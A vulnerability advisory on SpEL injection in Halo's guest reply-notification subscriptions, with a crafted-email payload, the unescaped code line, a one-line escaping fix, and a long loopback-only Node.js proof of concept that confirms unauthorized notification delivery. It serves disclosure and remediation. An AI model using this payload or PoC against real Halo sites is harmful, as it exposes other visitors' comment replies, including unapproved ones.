Expression Language Injection in Halo 2.15.0–2.25.4 Leads to Unauthorized Comment Reply Email Disclosure

Expression Language Injection in Halo 2.15.0–2.25.4 Leads to Unauthorized Comment Reply Email Disclosure#

Author: hiro

Affected versions: Halo 2.15.0 through 2.25.4 (source-confirmed); Halo 2.25.4 (dynamically reproduced)

Vendor: Halo GitHub Repository

Product: Halo

Affected file: application/src/main/java/run/halo/app/content/comment/ReplyNotificationSubscriptionHelper.java

Description#

1. Expression Language Injection via Guest Reply Subscription:

   • When guest comments are enabled, Halo creates a reply-notification subscription for an anonymous visitor.

   • The visitor identity, which contains the submitted email address, is inserted directly into a Spring Expression Language (SpEL) expression.

   • Single quotes in the identity are not escaped before the expression is stored and later evaluated.

2. Exploiting the Expression Injection:

   • An unauthenticated visitor submits a comment using an email address whose local-part contains SpEL operators.

   • Halo creates a syntactically valid subscription in which the injected true operand changes an equality check into an always-true condition.

   • When another visitor later replies to an unrelated comment, the attacker's subscription also matches and Halo sends the reply notification to the attacker.

3. Example Expression Injection Payload:

Guest email:

a'||true||'a@example.com

Expression stored by Halo:

props.repliedOwner == 'anonymousUser#a'||true||'a@example.com'

The middle true operand makes the expression evaluate to true even when props.repliedOwner belongs to a different visitor.

4. Security Impact:

   • The attacker receives email notifications containing comment and reply content that belongs to an unrelated visitor.

   • If comment review is required, the reproduced notification contains a reply whose approved value is false and whose unique marker is absent from the anonymous public reply API.

   • This demonstrates unauthorized disclosure of content that is not yet publicly visible.

5. Attack Preconditions:

   • Guest comments are enabled (systemUserOnly=false).

   • Reply email notifications are configured.

   • Another visitor replies to an approved comment after the malicious subscription is created.

   • The outbound mail path accepts the crafted local-part, or the attacker controls a catch-all domain that accepts it.

   • Disclosure of moderated content additionally requires requireReviewForNew=true.

6. Root Cause:

The affected code builds executable expression text from an unescaped identity:

interestReason.setExpression(
    "props.repliedOwner == '%s'".formatted(identity.name()));

identity.name() is treated as SpEL source code instead of data. In a SpEL single-quoted string literal, a literal single quote must be represented by two single quotes.

7. Recommended Remediation:

   • Prefer an implementation that does not construct executable expression text from user-controlled data.

   • A minimal compatibility fix is to escape single quotes before interpolation.

var escapedIdentityName = identity.name().replace("'", "''");
interestReason.setExpression(
    "props.repliedOwner == '%s'".formatted(escapedIdentityName));

Regression tests should cover a normal visitor identity, the crafted identity above, legitimate notification delivery, and non-delivery to an unrelated subscriber.

8. Vulnerability Classification:

   • CWE: CWE-917 (Improper Neutralization of Special Elements used in an Expression Language Statement)

   • Secondary impact category: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)

   • Conservative CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N — 3.1 Low

   • If the mail-routing requirements are treated as ordinary deployment preconditions rather than additional attack complexity, AC:L produces 4.3 Medium.

Proof of Concept#

1. Prepare an Isolated Test Environment:

   • Use a fresh, uninitialized Halo 2.25.4 instance. The PoC initializes the instance and changes its comment and email settings; do not run it against a production installation.

   • The reproduced environment used Halo 2.25.4 at commit 8206752d23e3499154e7170cadafaaf62bfb63ab, Temurin JDK 21.0.11+10, Node.js 24.15.0, and H2.

   • Both Halo and the in-process SMTP sink must remain on loopback interfaces.

2. Start Halo on Loopback:

Example PowerShell command:

& '<path-to-java-21>\bin\java.exe' `
  '-Dfile.encoding=UTF-8' '-Xms256m' '-Xmx512m' `
  -jar '.\halo-2.25.4.jar' `
  '--server.address=127.0.0.1' `
  '--server.port=8096' `
  '--halo.work-dir=./hexpr-poc-data' `
  '--halo.external-url=http://127.0.0.1:8096/'

Wait until http://127.0.0.1:8096/actuator/health reports UP.

3. Save and Run the PoC:

Save the complete source code below as poc-hexpr-e2e.cjs, or use the standalone attachment. The standalone file SHA-256 is:

fd75a623b4c1410fbedd323d265c2aa2da50976486c8b76f1192c44bcde00caa

Run the moderation-boundary reproduction:

node .\poc-hexpr-e2e.cjs http://127.0.0.1:8096 2529 vulnerable moderation

4. Automated Validation Performed by the PoC:

   • Generates random local administrator credentials in memory and initializes Halo.

   • Enables guest comments and configures the email notifier to use an in-process SMTP sink bound to 127.0.0.1.

   • Confirms that the legitimate comment owner receives a baseline reply notification while an ordinary unrelated subscriber does not.

   • Creates the crafted guest subscription and confirms that Halo stored the unescaped expression.

   • Enables comment review, creates an unapproved reply to an unrelated visitor, and checks that the reply marker is absent from the anonymous public API.

   • Confirms that both the legitimate owner and the injected subscriber receive the same reply content.

5. Verify the Vulnerable Result:

   • The process exits with status code 0 only when all positive and negative controls pass.

   • A vulnerable build returns a JSON result containing the following fields.

{
  "candidate": "H-EXPR-01",
  "sourceVersion": "v2.25.4",
  "impactMode": "moderation",
  "result": "CONFIRMED"
}

The relevant assertions are triggerReplyApproved=false, triggerMarkerVisibleToAnonymous=false, legitimateVictimReceived=true, attackerReceivedUnrelatedNotification=true, and normalControlStillDidNotReceive=true.

6. Fix Verification:

   • The minimal single-quote escaping patch was tested against the same HTTP/SMTP flow.

   • The security regression test failed on the original source and passed after the patch; the related test groups passed 9/9.

   • The patched build returned FIX_CONFIRMED: the legitimate owner still received the notification and the injected subscriber did not.

7. Complete PoC Source Code:

   • The code block below is the complete standalone file, including its final newline.

   • It uses only Node.js built-in modules, refuses non-loopback HTTP targets, generates test secrets in memory, and does not print those secrets.

"use strict";

const crypto = require("node:crypto");
const net = require("node:net");

const baseUrl = process.argv[2] || "http://127.0.0.1:8093";
const smtpPort = Number.parseInt(process.argv[3] || "2526", 10);
const expectation = process.argv[4] || "vulnerable";
const impactMode = process.argv[5] || "public";
if (!["vulnerable", "fixed"].includes(expectation)) {
  console.error(JSON.stringify({
    candidate: "H-EXPR-01",
    result: "ENVIRONMENT_ERROR",
    reason: "Expectation must be either vulnerable or fixed",
  }));
  process.exit(2);
}
if (!["public", "moderation"].includes(impactMode)) {
  console.error(JSON.stringify({
    candidate: "H-EXPR-01",
    result: "ENVIRONMENT_ERROR",
    reason: "Impact mode must be either public or moderation",
  }));
  process.exit(2);
}
const parsedBaseUrl = new URL(baseUrl);
const loopbackHosts = new Set(["127.0.0.1", "localhost", "::1"]);
if (!loopbackHosts.has(parsedBaseUrl.hostname)) {
  console.error(JSON.stringify({
    candidate: "H-EXPR-01",
    result: "ENVIRONMENT_ERROR",
    reason: "PoC refuses non-loopback HTTP targets",
  }));
  process.exit(2);
}
if (!Number.isInteger(smtpPort) || smtpPort < 1024 || smtpPort > 65535) {
  console.error(JSON.stringify({
    candidate: "H-EXPR-01",
    result: "ENVIRONMENT_ERROR",
    reason: "SMTP port must be an unprivileged TCP port",
  }));
  process.exit(2);
}

const POST_NAME = "5152aea5-c2e8-4717-8bba-2263d46e19d5";
const COMMENT_API = "/apis/api.halo.run/v1alpha1/comments";
const SUBSCRIPTION_API = "/apis/notification.halo.run/v1alpha1/subscriptions?page=0&size=100";
const SMTP_CONFIG_API =
  "/apis/api.console.halo.run/v1alpha1/notifiers/default-email-notifier/sender-config";

class CookieJar {
  constructor() {
    this.cookies = new Map();
  }

  absorb(headers) {
    let values = [];
    if (typeof headers.getSetCookie === "function") {
      values = headers.getSetCookie();
    } else {
      const combined = headers.get("set-cookie");
      if (combined) {
        values = combined.split(/,(?=[^;,]+=)/u);
      }
    }
    for (const value of values) {
      const pair = value.split(";", 1)[0];
      const index = pair.indexOf("=");
      if (index <= 0) {
        continue;
      }
      const name = pair.slice(0, index).trim();
      const cookieValue = pair.slice(index + 1).trim();
      if (/max-age=0/iu.test(value) || cookieValue === "") {
        this.cookies.delete(name);
      } else {
        this.cookies.set(name, cookieValue);
      }
    }
  }

  header() {
    return [...this.cookies.entries()]
      .map(([name, value]) => `${name}=${value}`)
      .join("; ");
  }

  get(name) {
    return this.cookies.get(name);
  }
}

async function request(jar, path, options = {}) {
  const headers = new Headers(options.headers || {});
  const cookie = jar?.header();
  if (cookie) {
    headers.set("Cookie", cookie);
  }
  const response = await fetch(new URL(path, baseUrl), {
    ...options,
    headers,
    redirect: "manual",
  });
  jar?.absorb(response.headers);
  const text = await response.text();
  return {
    status: response.status,
    location: response.headers.get("location"),
    text,
    headers: response.headers,
  };
}

async function jsonRequest(jar, path, method = "GET", body, includeCsrf = true) {
  const headers = {
    Accept: "application/json",
    "X-Requested-With": "XMLHttpRequest",
  };
  if (body !== undefined) {
    headers["Content-Type"] = "application/json";
  }
  if (includeCsrf && jar) {
    const csrf = jar.get("XSRF-TOKEN");
    if (!csrf) {
      throw new Error(`Missing XSRF-TOKEN before ${method} ${path}`);
    }
    headers["X-XSRF-TOKEN"] = decodeURIComponent(csrf);
  }
  const response = await request(jar, path, {
    method,
    headers,
    body: body === undefined ? undefined : JSON.stringify(body),
  });
  let json;
  try {
    json = response.text ? JSON.parse(response.text) : undefined;
  } catch {
    json = undefined;
  }
  return {...response, json};
}

function requireStatus(response, expected, label) {
  const allowed = Array.isArray(expected) ? expected : [expected];
  if (!allowed.includes(response.status)) {
    throw new Error(`${label}: expected ${allowed.join("/")} but got ${response.status}`);
  }
}

function extractLoginMaterial(html) {
  const csrf = html.match(/name="_csrf"\s+value="([^"]+)"/u)?.[1];
  const publicKeyLiteral = html.match(/const publicKey = "([^"]+)"/u)?.[1];
  if (!csrf || !publicKeyLiteral) {
    throw new Error("Could not extract login CSRF token or RSA public key");
  }
  return {
    csrf,
    publicKey: publicKeyLiteral.replaceAll("\\/", "/"),
  };
}

function encryptPassword(password, publicKeyBase64) {
  const key = crypto.createPublicKey({
    key: Buffer.from(publicKeyBase64, "base64"),
    format: "der",
    type: "spki",
  });
  return crypto.publicEncrypt({
    key,
    padding: crypto.constants.RSA_PKCS1_PADDING,
  }, Buffer.from(password, "utf8")).toString("base64");
}

async function login(username, password) {
  const jar = new CookieJar();
  const loginPage = await request(jar, "/login", {
    headers: {Accept: "text/html"},
  });
  requireStatus(loginPage, 200, "GET /login");
  const {csrf, publicKey} = extractLoginMaterial(loginPage.text);
  const form = new URLSearchParams({
    _csrf: csrf,
    username,
    password: encryptPassword(password, publicKey),
  });
  const response = await request(jar, "/login", {
    method: "POST",
    headers: {
      Accept: "application/json",
      "Content-Type": "application/x-www-form-urlencoded",
      "X-Requested-With": "XMLHttpRequest",
    },
    body: form,
  });
  return {jar, response};
}

function delay(milliseconds) {
  return new Promise((resolve) => setTimeout(resolve, milliseconds));
}

async function poll(label, operation, predicate, timeoutMs = 20_000, intervalMs = 250) {
  const deadline = Date.now() + timeoutMs;
  let lastValue;
  let lastError;
  while (Date.now() < deadline) {
    try {
      lastValue = await operation();
      if (predicate(lastValue)) {
        return lastValue;
      }
      lastError = undefined;
    } catch (error) {
      lastError = error;
    }
    await delay(intervalMs);
  }
  const detail = lastError ? lastError.message : JSON.stringify(lastValue);
  throw new Error(`${label}: timed out; last observation: ${detail}`);
}

function smtpRecipient(line) {
  const angle = line.match(/<([^>]*)>/u)?.[1];
  if (angle !== undefined) {
    return angle;
  }
  return line.slice(line.indexOf(":") + 1).trim();
}

async function startSmtpSink(port) {
  const messages = [];
  const sockets = new Set();
  const stats = {
    connections: 0,
    authenticatedConnections: 0,
    messagesAccepted: 0,
  };

  const server = net.createServer((socket) => {
    sockets.add(socket);
    stats.connections += 1;
    socket.setEncoding("utf8");
    socket.write("220 localhost H-EXPR-01 isolated SMTP sink\r\n");

    let buffer = "";
    let mode = "command";
    let authStage = null;
    let mailFrom = null;
    let recipients = [];
    let dataLines = [];

    const reply = (line) => socket.write(`${line}\r\n`);
    const resetTransaction = () => {
      mailFrom = null;
      recipients = [];
      dataLines = [];
      mode = "command";
    };

    const onLine = (line) => {
      if (mode === "data") {
        if (line === ".") {
          const raw = dataLines
            .map((dataLine) => dataLine.startsWith("..") ? dataLine.slice(1) : dataLine)
            .join("\r\n");
          messages.push({
            mailFrom,
            recipients: [...recipients],
            raw,
            receivedAt: new Date().toISOString(),
          });
          stats.messagesAccepted += 1;
          resetTransaction();
          reply("250 2.0.0 queued in memory");
        } else {
          dataLines.push(line);
        }
        return;
      }

      if (authStage === "username") {
        authStage = "password";
        reply("334 UGFzc3dvcmQ6");
        return;
      }
      if (authStage === "password" || authStage === "plain") {
        authStage = null;
        stats.authenticatedConnections += 1;
        reply("235 2.7.0 authentication successful");
        return;
      }

      const [verbRaw, ...rest] = line.split(" ");
      const verb = verbRaw.toUpperCase();
      const argument = rest.join(" ");
      switch (verb) {
        case "EHLO":
          socket.write(
            "250-localhost\r\n"
            + "250-AUTH LOGIN PLAIN\r\n"
            + "250-8BITMIME\r\n"
            + "250 SIZE 10485760\r\n",
          );
          break;
        case "HELO":
          reply("250 localhost");
          break;
        case "AUTH": {
          const [mechanismRaw, initialResponse] = argument.split(" ");
          const mechanism = (mechanismRaw || "").toUpperCase();
          if (mechanism === "PLAIN") {
            if (initialResponse) {
              stats.authenticatedConnections += 1;
              reply("235 2.7.0 authentication successful");
            } else {
              authStage = "plain";
              reply("334");
            }
          } else if (mechanism === "LOGIN") {
            if (initialResponse) {
              authStage = "password";
              reply("334 UGFzc3dvcmQ6");
            } else {
              authStage = "username";
              reply("334 VXNlcm5hbWU6");
            }
          } else {
            reply("504 5.5.4 unsupported authentication mechanism");
          }
          break;
        }
        case "MAIL":
          mailFrom = smtpRecipient(line);
          recipients = [];
          reply("250 2.1.0 sender accepted");
          break;
        case "RCPT":
          recipients.push(smtpRecipient(line));
          reply("250 2.1.5 recipient accepted");
          break;
        case "DATA":
          if (!mailFrom || recipients.length === 0) {
            reply("503 5.5.1 need MAIL FROM and RCPT TO");
          } else {
            mode = "data";
            dataLines = [];
            reply("354 end with <CRLF>.<CRLF>");
          }
          break;
        case "RSET":
          resetTransaction();
          reply("250 2.0.0 reset");
          break;
        case "NOOP":
          reply("250 2.0.0 ok");
          break;
        case "QUIT":
          reply("221 2.0.0 bye");
          socket.end();
          break;
        default:
          reply("250 2.0.0 ok");
      }
    };

    socket.on("data", (chunk) => {
      buffer += chunk;
      let index;
      while ((index = buffer.indexOf("\r\n")) >= 0) {
        const line = buffer.slice(0, index);
        buffer = buffer.slice(index + 2);
        onLine(line);
      }
    });
    socket.on("close", () => sockets.delete(socket));
    socket.on("error", () => sockets.delete(socket));
  });

  await new Promise((resolve, reject) => {
    server.once("error", reject);
    server.listen({host: "127.0.0.1", port}, () => {
      server.off("error", reject);
      resolve();
    });
  });

  return {
    messages,
    stats,
    clear() {
      messages.length = 0;
    },
    async close() {
      for (const socket of sockets) {
        socket.end();
      }
      await new Promise((resolve) => server.close(resolve));
    },
  };
}

function guestOwner(email, displayName) {
  return {
    email,
    displayName,
    avatar: "",
    website: "",
  };
}

async function createGuestComment(email, displayName, marker) {
  const payload = {
    subjectRef: {
      group: "content.halo.run",
      version: "v1alpha1",
      kind: "Post",
      name: POST_NAME,
    },
    owner: guestOwner(email, displayName),
    raw: marker,
    content: `<p>${marker}</p>`,
    allowNotification: false,
    hidden: false,
  };
  return poll(
    `create guest comment ${displayName}`,
    () => jsonRequest(null, COMMENT_API, "POST", payload, false),
    (response) => response.status === 200,
    12_000,
    400,
  );
}

async function createGuestReply(commentName, email, displayName, marker) {
  const payload = {
    owner: guestOwner(email, displayName),
    raw: marker,
    content: `<p>${marker}</p>`,
    allowNotification: false,
    hidden: false,
    quoteReply: "",
  };
  return jsonRequest(
    null,
    `${COMMENT_API}/${encodeURIComponent(commentName)}/reply`,
    "POST",
    payload,
    false,
  );
}

function subscriptionItems(response) {
  requireStatus(response, 200, "list subscriptions");
  return Array.isArray(response.json?.items) ? response.json.items : [];
}

function findSubscription(items, subscriberName) {
  return items.find((item) => item?.spec?.subscriber?.name === subscriberName);
}

function summarizeMessages(messages, markers) {
  const rows = [];
  for (const message of messages) {
    for (const recipient of message.recipients) {
      rows.push({
        recipient,
        containsVictimCommentMarker: message.raw.includes(markers.victimComment),
        containsBaselineReplyMarker: message.raw.includes(markers.baselineReply),
        containsExploitReplyMarker: message.raw.includes(markers.exploitReply),
        rawSha256: crypto.createHash("sha256").update(message.raw).digest("hex"),
      });
    }
  }
  return rows;
}

async function main() {
  const smtp = await startSmtpSink(smtpPort);
  try {
    const evidence = {
      candidate: "H-EXPR-01",
      product: "Halo",
      sourceVersion: "v2.25.4",
      sourceCommit: "8206752d23e3499154e7170cadafaaf62bfb63ab",
      baseUrl,
      smtp: `127.0.0.1:${smtpPort}`,
      expectation,
      impactMode,
      executedAt: new Date().toISOString(),
      scopeGuard: "loopback-only",
      realSecretsUsed: false,
      secretsPrinted: false,
      controls: {},
      exploit: {},
    };

    const health = await request(null, "/actuator/health", {
      headers: {Accept: "application/json"},
    });
    requireStatus(health, 200, "health check");
    evidence.health = JSON.parse(health.text).status;

    const username = `expr-${crypto.randomBytes(6).toString("hex")}`;
    const password = `A9!${crypto.randomBytes(14).toString("hex")}`;
    evidence.accountIdSha256 = crypto
      .createHash("sha256")
      .update(username)
      .digest("hex");

    const setup = await request(null, "/system/setup", {
      method: "POST",
      headers: {
        Accept: "application/json",
        "Content-Type": "application/x-www-form-urlencoded",
      },
      body: new URLSearchParams({
        username,
        password,
        email: `${username}@example.invalid`,
        siteTitle: "H-EXPR-01 isolated validation",
        language: "zh-CN",
        externalUrl: `${baseUrl}/`,
      }),
    });
    requireStatus(setup, 204, "setup");
    evidence.setupStatus = setup.status;

    const loginResult = await login(username, password);
    requireStatus(loginResult.response, 200, "admin login");
    const adminJar = loginResult.jar;

    const commentConfig = {
      enable: true,
      requireReviewForNew: false,
      systemUserOnly: false,
    };
    const updateCommentConfig = await jsonRequest(
      adminJar,
      "/apis/console.api.halo.run/v1alpha1/systemconfigs/comment",
      "PUT",
      commentConfig,
    );
    requireStatus(updateCommentConfig, 204, "enable guest comments");
    const observedCommentConfig = await poll(
      "observe guest comment config",
      () => jsonRequest(
        adminJar,
        "/apis/console.api.halo.run/v1alpha1/systemconfigs/comment",
      ),
      (response) => response.status === 200
        && response.json?.enable === true
        && response.json?.requireReviewForNew === false
        && response.json?.systemUserOnly === false,
    );
    evidence.commentConfig = observedCommentConfig.json;

    const smtpPassword = crypto.randomBytes(18).toString("hex");
    const smtpConfig = await jsonRequest(adminJar, SMTP_CONFIG_API, "POST", {
      enable: true,
      username: "sender@example.invalid",
      sender: "sender@example.invalid",
      password: smtpPassword,
      displayName: "H-EXPR-01 local sender",
      host: "127.0.0.1",
      port: smtpPort,
      encryption: "NONE",
    });
    requireStatus(smtpConfig, 200, "configure local SMTP sender");
    evidence.smtpConfigStatus = smtpConfig.status;

    const token = crypto.randomBytes(5).toString("hex");
    const emails = {
      normalControl: `normal-${token}@example.invalid`,
      victim: `victim-${token}@example.invalid`,
      baselineReplier: `baseline-replier-${token}@example.invalid`,
      exploitReplier: `exploit-replier-${token}@example.invalid`,
      attacker: "a'||true||'a@example.com",
    };
    const identities = Object.fromEntries(
      Object.entries(emails).map(([key, email]) => [key, `anonymousUser#${email}`]),
    );
    const markers = {
      normalControl: `H-EXPR-NORMAL-${token}`,
      victimComment: `H-EXPR-VICTIM-${token}`,
      baselineReply: `H-EXPR-BASELINE-REPLY-${token}`,
      attackerComment: `H-EXPR-ATTACKER-${token}`,
      exploitReply: `H-EXPR-EXPLOIT-REPLY-${token}`,
    };

    const normalComment = await createGuestComment(
      emails.normalControl,
      "Normal unrelated subscriber",
      markers.normalControl,
    );
    const victimComment = await createGuestComment(
      emails.victim,
      "Victim comment owner",
      markers.victimComment,
    );
    requireStatus(normalComment, 200, "create normal control comment");
    requireStatus(victimComment, 200, "create victim comment");
    const victimCommentName = victimComment.json?.metadata?.name;
    if (!victimCommentName) {
      throw new Error("Victim comment response did not contain metadata.name");
    }
    evidence.controls.allowNotificationSubmitted = {
      normal: normalComment.json?.spec?.allowNotification,
      victim: victimComment.json?.spec?.allowNotification,
    };

    const baselineSubscriptions = await poll(
      "wait for baseline subscriptions",
      () => jsonRequest(adminJar, SUBSCRIPTION_API),
      (response) => {
        const items = response.status === 200 ? subscriptionItems(response) : [];
        return Boolean(
          findSubscription(items, identities.normalControl)
          && findSubscription(items, identities.victim),
        );
      },
    );
    const baselineItems = subscriptionItems(baselineSubscriptions);
    const normalSubscription = findSubscription(baselineItems, identities.normalControl);
    const victimSubscription = findSubscription(baselineItems, identities.victim);
    evidence.controls.normalExpression = normalSubscription?.spec?.reason?.expression;
    evidence.controls.victimExpression = victimSubscription?.spec?.reason?.expression;
    evidence.controls.subscriptionCreatedDespiteAllowNotificationFalse =
      Boolean(normalSubscription && victimSubscription);

    smtp.clear();
    const baselineReply = await createGuestReply(
      victimCommentName,
      emails.baselineReplier,
      "Baseline unrelated replier",
      markers.baselineReply,
    );
    requireStatus(baselineReply, 200, "create baseline reply");
    await poll(
      "wait for legitimate baseline victim email",
      async () => smtp.messages,
      (messages) => messages.some((message) => message.recipients.includes(emails.victim)),
      20_000,
      250,
    );
    await delay(750);
    const baselineMessageSummary = summarizeMessages(smtp.messages, markers);
    evidence.controls.baselineMessages = baselineMessageSummary;
    evidence.controls.baselineVictimReceived = baselineMessageSummary
      .some((message) => message.recipient === emails.victim
        && message.containsVictimCommentMarker
        && message.containsBaselineReplyMarker);
    evidence.controls.normalUnrelatedSubscriberDidNotReceive = !baselineMessageSummary
      .some((message) => message.recipient === emails.normalControl);
    if (!evidence.controls.baselineVictimReceived
        || !evidence.controls.normalUnrelatedSubscriberDidNotReceive) {
      throw new Error("Baseline notification routing did not match the expected control");
    }

    smtp.clear();
    const attackerComment = await createGuestComment(
      emails.attacker,
      "Injected expression subscriber",
      markers.attackerComment,
    );
    requireStatus(attackerComment, 200, "create injected-expression comment");
    evidence.exploit.allowNotificationSubmitted =
      attackerComment.json?.spec?.allowNotification;

    const injectedSubscriptions = await poll(
      "wait for injected subscription",
      () => jsonRequest(adminJar, SUBSCRIPTION_API),
      (response) => {
        const items = response.status === 200 ? subscriptionItems(response) : [];
        return Boolean(findSubscription(items, identities.attacker));
      },
    );
    const injectedItems = subscriptionItems(injectedSubscriptions);
    const attackerSubscription = findSubscription(injectedItems, identities.attacker);
    evidence.exploit.subscriber = attackerSubscription?.spec?.subscriber?.name;
    evidence.exploit.expression = attackerSubscription?.spec?.reason?.expression;
    evidence.exploit.expressionContainsUnescapedInput =
      evidence.exploit.expression
      === "props.repliedOwner == 'anonymousUser#a'||true||'a@example.com'";
    evidence.exploit.expressionEscapedSafely =
      evidence.exploit.expression
      === "props.repliedOwner == 'anonymousUser#a''||true||''a@example.com'";

    if (impactMode === "moderation") {
      const requireReviewConfig = {
        enable: true,
        requireReviewForNew: true,
        systemUserOnly: false,
      };
      const updateRequireReview = await jsonRequest(
        adminJar,
        "/apis/console.api.halo.run/v1alpha1/systemconfigs/comment",
        "PUT",
        requireReviewConfig,
      );
      requireStatus(updateRequireReview, 204, "enable moderation before exploit trigger");
      const observedRequireReview = await poll(
        "observe moderation config",
        () => jsonRequest(
          adminJar,
          "/apis/console.api.halo.run/v1alpha1/systemconfigs/comment",
        ),
        (response) => response.status === 200
          && response.json?.enable === true
          && response.json?.requireReviewForNew === true
          && response.json?.systemUserOnly === false,
      );
      evidence.exploit.moderationConfig = observedRequireReview.json;
    }

    smtp.clear();
    const exploitReply = await createGuestReply(
      victimCommentName,
      emails.exploitReplier,
      "Exploit unrelated replier",
      markers.exploitReply,
    );
    requireStatus(exploitReply, 200, "create exploit trigger reply");
    evidence.exploit.triggerReplyApproved = exploitReply.json?.spec?.approved;
    if (impactMode === "moderation") {
      const publicReplies = await jsonRequest(
        null,
        `${COMMENT_API}/${encodeURIComponent(victimCommentName)}/reply?page=1&size=100`,
        "GET",
        undefined,
        false,
      );
      requireStatus(publicReplies, 200, "anonymous public reply list");
      evidence.exploit.publicReplyListStatus = publicReplies.status;
      evidence.exploit.triggerMarkerVisibleToAnonymous =
        JSON.stringify(publicReplies.json).includes(markers.exploitReply);
    }
    if (expectation === "vulnerable") {
      await poll(
        "wait for injected and legitimate emails",
        async () => smtp.messages,
        (messages) => {
          const recipients = new Set(messages.flatMap((message) => message.recipients));
          return recipients.has(emails.attacker) && recipients.has(emails.victim);
        },
        20_000,
        250,
      );
      await delay(750);
    } else {
      await poll(
        "wait for legitimate fixed-build email",
        async () => smtp.messages,
        (messages) => messages
          .some((message) => message.recipients.includes(emails.victim)),
        20_000,
        250,
      );
      await delay(1_500);
    }
    const exploitMessageSummary = summarizeMessages(smtp.messages, markers);
    evidence.exploit.messages = exploitMessageSummary;
    evidence.exploit.attackerReceivedUnrelatedNotification = exploitMessageSummary
      .some((message) => message.recipient === emails.attacker
        && message.containsVictimCommentMarker
        && message.containsExploitReplyMarker);
    evidence.exploit.legitimateVictimReceived = exploitMessageSummary
      .some((message) => message.recipient === emails.victim
        && message.containsVictimCommentMarker
        && message.containsExploitReplyMarker);
    evidence.exploit.attackerDidNotReceiveUnrelatedNotification =
      !evidence.exploit.attackerReceivedUnrelatedNotification;
    evidence.exploit.normalControlStillDidNotReceive = !exploitMessageSummary
      .some((message) => message.recipient === emails.normalControl);
    evidence.smtpStats = smtp.stats;

    const controlsPassed = evidence.health === "UP"
      && evidence.commentConfig.enable === true
      && evidence.commentConfig.requireReviewForNew === false
      && evidence.commentConfig.systemUserOnly === false
      && evidence.controls.subscriptionCreatedDespiteAllowNotificationFalse
      && evidence.controls.baselineVictimReceived
      && evidence.controls.normalUnrelatedSubscriberDidNotReceive
      && evidence.exploit.allowNotificationSubmitted === false
      && evidence.exploit.legitimateVictimReceived
      && evidence.exploit.normalControlStillDidNotReceive
      && evidence.smtpStats.authenticatedConnections > 0;
    const impactChecksPassed = impactMode === "public"
      || (evidence.exploit.moderationConfig?.requireReviewForNew === true
        && evidence.exploit.triggerReplyApproved === false
        && evidence.exploit.publicReplyListStatus === 200
        && evidence.exploit.triggerMarkerVisibleToAnonymous === false);
    const vulnerablePassed = expectation === "vulnerable"
      && evidence.exploit.expressionContainsUnescapedInput
      && evidence.exploit.attackerReceivedUnrelatedNotification;
    const fixedPassed = expectation === "fixed"
      && evidence.exploit.expressionEscapedSafely
      && evidence.exploit.attackerDidNotReceiveUnrelatedNotification;
    const passed = controlsPassed
      && impactChecksPassed
      && (vulnerablePassed || fixedPassed);

    evidence.result = passed
      ? (expectation === "vulnerable" ? "CONFIRMED" : "FIX_CONFIRMED")
      : "NOT_REPRODUCED";
    return evidence;
  } finally {
    await smtp.close();
  }
}

main()
  .then((evidence) => {
    console.log(JSON.stringify(evidence, null, 2));
    process.exitCode = ["CONFIRMED", "FIX_CONFIRMED"].includes(evidence.result) ? 0 : 1;
  })
  .catch((error) => {
    console.error(JSON.stringify({
      candidate: "H-EXPR-01",
      product: "Halo",
      sourceVersion: "v2.25.4",
      baseUrl,
      smtp: `127.0.0.1:${smtpPort}`,
      expectation,
      impactMode,
      executedAt: new Date().toISOString(),
      result: "ENVIRONMENT_ERROR",
      error: error.message,
      realSecretsUsed: false,
      secretsPrinted: false,
    }, null, 2));
    process.exitCode = 2;
  });